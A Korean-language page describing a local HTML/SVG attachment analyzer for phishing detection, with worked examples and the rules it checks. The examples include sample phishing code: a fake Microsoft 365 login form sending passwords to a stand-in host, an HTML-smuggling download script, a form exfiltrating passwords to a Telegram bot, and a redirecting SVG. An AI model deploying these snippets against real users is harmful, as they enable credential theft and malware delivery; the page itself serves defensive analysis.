파일 및 페이지

HTML 첨부 파일 분석기

로컬에서 실행신규

도구 자체는 영어로 되어 있지만, 이 페이지에서는 귀하의 언어로 설명해 드립니다.

HTML 첨부 파일 분석기을(를) 사용하세요

기능

HTML이나 SVG 첨부 파일을 불러오거나 붙여 넣으면 열었을 때 무엇을 하는지 볼 수 있습니다. 숨겨진 다운로드, 비밀번호를 다른 곳으로 보내는 양식, 리디렉션, 유출 엔드포인트, 난독화 코드입니다. 파일은 텍스트로만 읽으며 렌더링하거나 실행하지 않습니다.

이 서비스는 전적으로 브라우저에서 실행되며, 사용자가 입력한 내용은 전혀 업로드되지 않습니다.

HTML 첨부 파일 분석기 사용 방법

  1. 파일을 열지 마세요. .html, .htm, .shtml, .xhtml 또는 .svg 첨부 파일을 열지 말고 저장하거나, 소스를 텍스트로 복사합니다.
  2. 불러오거나 붙여 넣기. 파일을 상자에 끌어다 놓거나 선택하거나(최대 25MB), 소스를 붙여 넣고(최대 5MB) Analyze 또는 Ctrl+Enter를 누릅니다.
  3. 판정 읽기. 맨 위 상자에 High risk, Suspicious 또는 No high-risk patterns found가 표시되며, 그 근거가 된 범주와 결과, IOC, 포함된 덩어리의 개수가 함께 나옵니다.
  4. 결과 살펴보기. 각 결과에는 심각도, 범주, 줄 번호, 일치한 소스가 표시되며, 링크와 주소는 디팽되어 있습니다.
  5. 찾은 내용 내보내기. IOC를 디팽된 형태나 원본 그대로 복사하거나, Send to로 IOC Converter, Abuse Report Generator, 또는 포함된 덩어리라면 Multi-Layer Decoder에 넘깁니다.

예시

주소가 미리 채워진 로그인 양식

입력
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
출력 결과 (2026-10-20에 캡처됨)
High risk: techniques used by phishing and malware attachments

Credential harvesting

1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs

FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365

This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.

Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO	METHOD	FIELDS	LINE
hxxps://collector[.]example/login external Copy	POST	email u, password p, submit password	2
Requests and redirects with a literal target
VIA	TARGET	LINE
form	hxxps://collector[.]example/login other site	2
IOCs
URLs (1)
hxxps://collector[.]example/login

Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)

Static
…

High risk: 로그인 양식이 비밀번호를 collector[.]example로 보내고, 비밀번호 필드 옆의 제목에 Microsoft 365가 나오며, 스크립트가 atob로 URL 프래그먼트에서 이메일 주소를 채워 넣습니다. IOC 목록에는 디팽된 수집 URL과 그 도메인이 들어 있습니다.

검증 대상

신호그 의미는 무엇인가
HTML 스머글링페이지가 메모리에서 파일을 만들어(createObjectURL이나 다운로드 링크와 함께 쓰인 Blob, 또는 msSaveOrOpenBlob) 다운로드로 제공하면 높음(High)입니다.
양식다른 사이트로 제출하는 양식은 모두 높음으로 평가되며, 비밀번호를 담고 있으면 제목에 표시됩니다. Forms 표에는 각 양식의 전송 대상, 메서드, 필드가 나열됩니다.
유출 엔드포인트Telegram Bot API 호출, 봇 토큰, Discord 웹후크, formspree.io나 webhook.site 같은 양식 수집 서비스는 높음으로 평가됩니다.
난독화atob, unescape, fromCharCode, 긴 이스케이프 시퀀스, 알려진 난독화 도구의 출력입니다. 인코딩된 리터럴 문자열은 실행하지 않고 디코딩합니다.
동적 코드eval, Function 생성자, document.write, innerHTML 할당은 실행 중에 코드나 마크업을 만듭니다.
리디렉션location 변경, window.open, meta refresh, 그리고 피싱 키트가 피해자의 이메일 주소를 넘기는 데 자주 쓰는 URL 프래그먼트 읽기입니다.
분석 방해마우스 오른쪽 클릭이나 F12 차단, debugger 문, 개발자 도구 감지, 자동화 브라우저 검사입니다.
포함된 콘텐츠data: URI, 긴 Base64 또는 16진수 덩어리와 디코딩된 파일 형식, 숨겨진 iframe, 스크립트가 들어 있는 SVG 파일입니다.
브랜드 단서제목, 로고, 링크에 있는 브랜드 이름입니다. 비밀번호 필드 옆에 있으면 중간(Medium)으로 평가됩니다.

더 많은 예시

브라우저에서 만들어지는 다운로드

입력
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>
결과

High risk, 이유는 HTML smuggling입니다. 높음 결과 1개(페이지가 브라우저에서 파일을 조립해 다운로드로 제공)와 atob, new Blob, URL.createObjectURL, download 속성에 대한 중간 결과 4개가 나옵니다. IOC는 없습니다.

Telegram 봇으로 보내지는 비밀번호

입력
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>
결과

High risk, 이유는 Data exfiltration입니다. 스크립트가 비밀번호 필드가 있는 페이지의 데이터를 api.telegram.org로 보내며, Telegram Bot API 엔드포인트 결과도 함께 나옵니다. 중간 결과는 fetch, 비밀번호 필드, 외부 action이 없는 로그인 양식입니다.

리디렉션하는 SVG 이미지

입력
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>
결과

High risk: 스크립트가 든 SVG 파일이며, 중간 리디렉션 결과와 낮음 btoa 결과가 추가됩니다. 대상은 Requests and redirects 아래에 다른 사이트로 나타나며, XML 네임스페이스 URL은 IOC에서 제외됩니다.

자주 묻는 질문

분석기는 무엇을 찾나요?

소스를 HTML 스머글링(Blob, createObjectURL, msSaveOrOpenBlob, 다운로드 링크, data: URI, 긴 Base64 덩어리), 다른 사이트로 데이터를 보내는 양식과 스크립트, Telegram 및 Discord 유출, 리디렉션, 숨겨진 iframe, 난독화 도구, 분석 방해 수법에 대한 규칙과 대조합니다. 또한 atob, unescape, fromCharCode 리터럴을 실행하지 않고 디코딩하며, 찾아낸 모든 URL, 도메인, IP 주소, 이메일 주소를 디팽된 형태로 나열합니다.

놓치거나 잘못된 경보를 낼 수 있나요?

네. 암호화되었거나 실행 중에 생성되는 코드는 정적 검사에서 동작을 숨길 수 있으며, 일반 페이지도 fetch, innerHTML, 인라인 이미지를 사용하므로 각 결과 옆에 표시되는 일치 소스를 읽어 보세요. 난독화 해제와 샌드박스 에뮬레이션에는 JS Analyzer를 사용하세요.

파일이 업로드되거나 열리나요?

아니요. 파일은 브라우저에서 텍스트로 읽히며 렌더링, 실행되거나 어디로도 전송되지 않습니다. 최대 25MB의 파일을 받으며, 아주 큰 파일은 마크업의 처음 4MB와 마지막 1MB를 검사하고 포함된 덩어리(blob)는 파일 전체에서 셉니다.

SVG 이미지를 웹 페이지처럼 검사하는 이유는 무엇인가요?

SVG 파일은 브라우저가 페이지처럼 여는 XML이므로 스크립트, 링크, 포함된 HTML을 담을 수 있습니다. 이미지에는 스크립트가 필요 없으므로, SVG 안의 스크립트는 높음으로 평가됩니다.

포함된 덩어리(embedded blob)란 무엇인가요?

파일 안에 있는 긴 Base64, 16진수 또는 바이트 배열 문자열입니다. 메모리에서 디코딩되어 변환 결과의 파일 형식으로 표시되며, 하나를 복사하거나 텍스트 덩어리를 Multi-Layer Decoder로 보낼 수 있습니다.

심각도 수준은 무엇을 의미하나요?

높음은 스머글링, 유출 엔드포인트, 다른 곳으로 전송하는 비밀번호 양식처럼 피싱 및 악성코드 첨부 파일이 의존하는 패턴을 나타냅니다. 중간은 일반 페이지도 쓰는 기법입니다. 높음 결과가 하나라도 있으면 판정은 High risk가 됩니다.

용어 설명

PhishDestroy 연구